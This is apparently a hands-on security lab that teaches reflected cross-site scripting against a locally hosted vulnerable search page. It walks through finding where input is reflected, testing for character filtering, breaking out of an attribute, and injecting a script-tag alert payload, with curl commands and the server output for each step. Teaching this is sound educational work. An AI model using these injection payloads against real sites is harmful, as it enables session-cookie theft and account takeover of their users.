Introduction
Reflected Cross-Site Scripting (XSS) is a common web vulnerability that occurs when an application receives data in an HTTP request and includes that data within the immediate HTTP response in an unsafe way. Because the injected malicious script is "reflected" off the web server, it executes in the victim's browser, allowing attackers to steal session cookies, perform actions on behalf of the user, or deface the website.
The critical idea is that XSS is a browser-side code execution bug. The server may reflect the payload, but the browser is where the script actually runs and where the trust boundary is broken.
In this lab, you will interact with a locally hosted, vulnerable web application. You will learn the systematic approach to finding and exploiting Reflected XSS: locating where your input is reflected, testing how the application handles special characters, breaking out of the existing HTML structure, and finally executing a malicious JavaScript payload.
Locate Reflection Points
In this step, you will learn how to identify reflection points in a web application. A reflection point is a location in the application's HTTP response where the input you provided in the HTTP request is displayed (or "reflected") back to you.
We have started a vulnerable web application on your local machine, accessible at port 8080. This application has a search feature that takes a query parameter named q.
To find a reflection point, you need to send a unique, easily identifiable string to the application and check if it appears in the response source code. We will use the curl command-line tool to send an HTTP GET request to the application.
Reflection is necessary but not sufficient. Your input must come back in a context where browser parsing can turn it into executable code.
Run the following command in your terminal to send a test string REFLECTION_TEST to the search endpoint:
curl -s "http://localhost:8080/search?q=REFLECTION_TEST"
Look closely at the HTML output printed in your terminal. You should see your input REFLECTION_TEST embedded directly inside the HTML structure.
<!DOCTYPE html>
<html>
<head><title>Search Results</title></head>
<body>
<h2>Search Results</h2>
<form action="/search" method="GET">
<input type="text" name="q" value="REFLECTION_TEST">
<button type="submit">Search Again</button>
</form>
</body>
</html>
Notice that your input is placed inside the value attribute of an <input> tag. This confirms that the application takes our input from the URL and reflects it directly into the HTML response. This is the first condition required for a Reflected XSS vulnerability.
Test Character Filtering (< > ")
In this step, you will test if the application sanitizes or filters special HTML characters.
Context-sensitive encoding is the real defense here. The dangerous characters differ depending on whether the input lands in element body text, an HTML attribute, JavaScript, or a URL.
Finding a reflection point is not enough to confirm an XSS vulnerability. Modern web frameworks often automatically encode special characters. For example, a less-than sign < might be converted to <. If the application encodes these characters, the browser will treat them as safe text rather than executable code, preventing XSS.
To inject malicious HTML or JavaScript, we typically need characters like the less-than sign < (to start a tag), the greater-than sign > (to close a tag), and double quotes " (to manipulate attributes).
Let's send a new payload containing these special characters to see how the application handles them. We will use single quotes around the URL in our curl command to prevent the Linux shell from interpreting the special characters.
Execute the following command to test the character filtering:
curl -s 'http://localhost:8080/search?q=FILTER_TEST<>"'
Examine the output returned by the server:
<!DOCTYPE html>
<html>
<head><title>Search Results</title></head>
<body>
<h2>Search Results</h2>
<form action="/search" method="GET">
<input type="text" name="q" value="FILTER_TEST<>"">
<button type="submit">Search Again</button>
</form>
</body>
</html>
Observe the value attribute in the <input> tag. The characters <>" are reflected exactly as we sent them, without any HTML encoding (like < or "). This lack of sanitization confirms that the application is highly likely vulnerable to Cross-Site Scripting.
Break out of HTML Contexts
In this step, you will learn how to break out of the current HTML context to prepare for payload injection.
This is the heart of practical XSS work: understanding the parser context you start in, then using syntax to escape it safely into a more dangerous one.
Context is crucial in XSS. In our vulnerable application, the reflection point is inside an HTML attribute: value="[YOUR_INPUT]". If we simply inject a <script> tag right away, it will become part of the text value of the input field, rather than being executed by the browser.
To force the browser to execute our code, we must first "break out" of the value attribute and close the <input> tag.
Since the attribute is enclosed in double quotes, we can inject a double quote " to close the value attribute prematurely. Then, we can inject a greater-than sign > to close the <input> tag itself.
Let's test this breakout technique. Send the following payload to the application:
curl -s 'http://localhost:8080/search?q=BREAKOUT">'
Review the HTML output carefully:
<!DOCTYPE html>
<html>
<head><title>Search Results</title></head>
<body>
<h2>Search Results</h2>
<form action="/search" method="GET">
<input type="text" name="q" value="BREAKOUT">">
<button type="submit">Search Again</button>
</form>
</body>
</html>
Look at what happened to the <input> tag. The HTML now reads value="BREAKOUT">">.
Our injected " successfully closed the value attribute, and our injected > closed the <input> tag. The remaining "> at the end is the original closing quote and bracket from the application's template, which are now left dangling as harmless text on the page.
You have successfully broken out of the HTML attribute context. The space immediately following your payload is now treated as standard HTML body content, where new tags can be introduced.
Execute JavaScript Payload
In this final step, you will combine the breakout technique with a malicious JavaScript payload to achieve Cross-Site Scripting.
Now that you know how to break out of the <input> tag, you can append any valid HTML or JavaScript immediately after your breakout sequence. The most common proof-of-concept for XSS is injecting a <script> tag that triggers a JavaScript alert() box.
Our complete payload will be: "><script>alert("XSS")</script>
Here is how the payload works. The "> sequence breaks out of the value attribute and closes the <input> tag. Next, the <script> tag starts a new JavaScript execution block. Inside this block, alert("XSS") is the JavaScript code that will run. Finally, the </script> tag closes the execution block.
Execute the following command to inject the full XSS payload:
curl -s 'http://localhost:8080/search?q="><script>alert("XSS")</script>'
Examine the final HTML output:
<!DOCTYPE html>
<html>
<head><title>Search Results</title></head>
<body>
<h2>Search Results</h2>
<form action="/search" method="GET">
<input type="text" name="q" value=""><script>alert("XSS")</script>">
<button type="submit">Search Again</button>
</form>
</body>
</html>
If a victim were to click on a link containing this payload in their web browser (e.g., http://localhost:8080/search?q="><script>alert("XSS")</script>), their browser would parse the HTML from top to bottom. When it reaches the injected <script> tag, it will execute the JavaScript code, popping up an alert box that says "XSS".
In a real-world attack, instead of a harmless alert, an attacker would inject code to steal the victim's session cookies (document.cookie) and send them to a malicious server, leading to full account takeover.
Summary
Congratulations! You have successfully completed the Reflected Cross-Site Scripting (XSS) lab.
In this lab, you learned how to:
- Identify reflection points by sending unique strings and analyzing the HTTP response.
- Test for character filtering to determine if an application safely encodes special HTML characters.
- Break out of HTML attribute contexts by manipulating quotes and brackets.
- Construct and inject a complete JavaScript payload to achieve code execution within the browser.
Understanding these mechanics is essential for both identifying vulnerabilities as a security researcher and implementing proper input sanitization and output encoding as a developer.



